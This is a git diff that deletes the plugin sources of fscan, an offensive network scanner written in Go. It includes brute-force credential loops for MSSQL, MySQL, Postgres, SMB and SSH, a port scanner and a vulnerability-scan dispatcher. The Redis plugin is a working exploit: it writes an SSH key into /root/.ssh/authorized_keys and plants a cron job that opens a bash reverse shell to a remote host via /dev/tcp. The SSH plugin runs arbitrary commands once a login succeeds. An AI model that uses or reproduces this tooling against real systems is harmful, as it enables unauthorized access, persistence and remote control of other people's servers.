|
||||
for _, user := range common.Userdict["mssql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mysql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second)
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,83 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
ip string
|
||||
port int
|
||||
}
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
tmp := make(map[int]struct{})
|
||||
var tmpPorts []int
|
||||
for _, port := range probePorts {
|
||||
for _, noport := range noPorts {
|
||||
if port != noport {
|
||||
if _, ok := tmp[port]; !ok {
|
||||
tmp[port] = struct{}{}
|
||||
tmpPorts = append(tmpPorts, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
probePorts = tmpPorts
|
||||
}
|
||||
workers := common.Threads
|
||||
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
||||
results := make(chan string, len(hostslist)*len(probePorts))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
//接收结果
|
||||
go func() {
|
||||
for found := range results {
|
||||
AliveAddress = append(AliveAddress, found)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
//多线程扫描
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for addr := range Addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
//添加扫描目标
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
Addrs <- Addr{host, port}
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
close(Addrs)
|
||||
close(results)
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||
host, port := addr.ip, addr.port
|
||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||
if err == nil {
|
||||
con.Close()
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open", address)
|
||||
common.LogSuccess(result)
|
||||
respondingHosts <- address
|
||||
wg.Add(1)
|
||||
}
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["postgresql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||
db, err := sql.Open("postgres", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,354 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
}
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
err = Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
err = Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
dbfilename, dir, err := getconfig(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flagSsh == true {
|
||||
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, common.RedisFile)
|
||||
if err != nil {
|
||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true {
|
||||
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, common.RedisShell)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("[-] Redis:", realhost, "cron write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
err = recoverdb(dbfilename, dir, conn)
|
||||
return err
|
||||
}
|
||||
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func Readfile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func readreply(conn net.Conn) (result string, err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result += string(buf[0:count])
|
||||
if count < 4096 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
var text string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
}
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 := strings.Split(text, "\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 = strings.Split(text, "\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dbfilename, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dir, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,118 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("start infoscan")
|
||||
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
|
||||
lib.Inithttp(common.Pocinfo)
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
if len(Hosts) > 0 {
|
||||
if common.IsPing == false {
|
||||
Hosts = ICMPRun(Hosts, common.Ping)
|
||||
fmt.Println("icmp alive hosts len is:", len(Hosts))
|
||||
}
|
||||
if info.Scantype == "icmp" {
|
||||
return
|
||||
}
|
||||
AlivePorts := PortScan(Hosts, info.Ports, info.Timeout)
|
||||
fmt.Println("alive ports len is:", len(AlivePorts))
|
||||
if info.Scantype == "portscan" {
|
||||
return
|
||||
}
|
||||
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _, port := range common.PORTList {
|
||||
severports = append(severports, strconv.Itoa(port))
|
||||
}
|
||||
fmt.Println("start vulscan")
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if info.Scantype == "all" {
|
||||
switch {
|
||||
case info.Ports == "445":
|
||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
||||
AddScan("1000001", info, ch, &wg) //ms17010
|
||||
AddScan("1000002", info, ch, &wg) //smbghost
|
||||
case info.Ports == "9000":
|
||||
AddScan(info.Ports, info, ch, &wg) //fcgiscan
|
||||
AddScan("1000003", info, ch, &wg) //http
|
||||
case IsContain(severports, info.Ports):
|
||||
AddScan(info.Ports, info, ch, &wg) //plugins scan
|
||||
default:
|
||||
AddScan("1000003", info, ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
port, _ := common.PORTList[info.Scantype]
|
||||
scantype := strconv.Itoa(port)
|
||||
AddScan(scantype, info, ch, &wg)
|
||||
}
|
||||
}
|
||||
}
|
||||
if common.URL != "" {
|
||||
info.Url = common.URL
|
||||
AddScan("1000003", info, ch, &wg)
|
||||
}
|
||||
if len(common.Urls) > 0 {
|
||||
for _, url := range common.Urls {
|
||||
info.Url = url
|
||||
AddScan("1000003", info, ch, &wg)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
common.LogWG.Wait()
|
||||
close(common.Results)
|
||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
||||
}
|
||||
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
||||
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
Mutex.Lock()
|
||||
common.Num += 1
|
||||
Mutex.Unlock()
|
||||
ScanFunc(PluginList, scantype, &info)
|
||||
wg.Done()
|
||||
Mutex.Lock()
|
||||
common.End += 1
|
||||
Mutex.Unlock()
|
||||
<-ch
|
||||
}()
|
||||
ch <- struct{}{}
|
||||
}
|
||||
|
||||
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||
f := reflect.ValueOf(m[name])
|
||||
if len(infos) != f.Type().NumIn() {
|
||||
err = errors.New("The number of infos is not adapted ")
|
||||
fmt.Println(err.Error())
|
||||
return result, nil
|
||||
}
|
||||
in := make([]reflect.Value, len(infos))
|
||||
for k, info := range infos {
|
||||
in[k] = reflect.ValueOf(info)
|
||||
}
|
||||
result = f.Call(in)
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,77 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := doWithTimeOut(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if info.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
options := smb.Options{
|
||||
Host: Host,
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: info.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(info.Timeout) * time.Second):
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["ssh"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := SshConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.Password(Password),
|
||||
},
|
||||
Timeout: time.Duration(info.Timeout) * time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
if info.Command != "" {
|
||||
combo, _ := session.CombinedOutput(info.Command)
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
|
||||
}
|
||||
@@ -1,265 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"fmt"
|
||||
"github.com/saintfish/chardet"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/html/charset"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
Charsets = []string{"utf-8", "gbk", "gb2312"}
|
||||
)
|
||||
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
err := GOWebTitle(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
//flag 1 first try
|
||||
//flag 2 /favicon.ico
|
||||
//flag 3 302
|
||||
//flag 4 400 -> https
|
||||
|
||||
func GOWebTitle(info *common.HostInfo) error {
|
||||
var CheckData []WebScan.CheckDatas
|
||||
if info.Url == "" {
|
||||
if info.Ports == "80" {
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
} else if info.Ports == "443" {
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
} else {
|
||||
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
info.Url = fmt.Sprintf("http://%s", info.Url)
|
||||
}
|
||||
}
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return err
|
||||
}
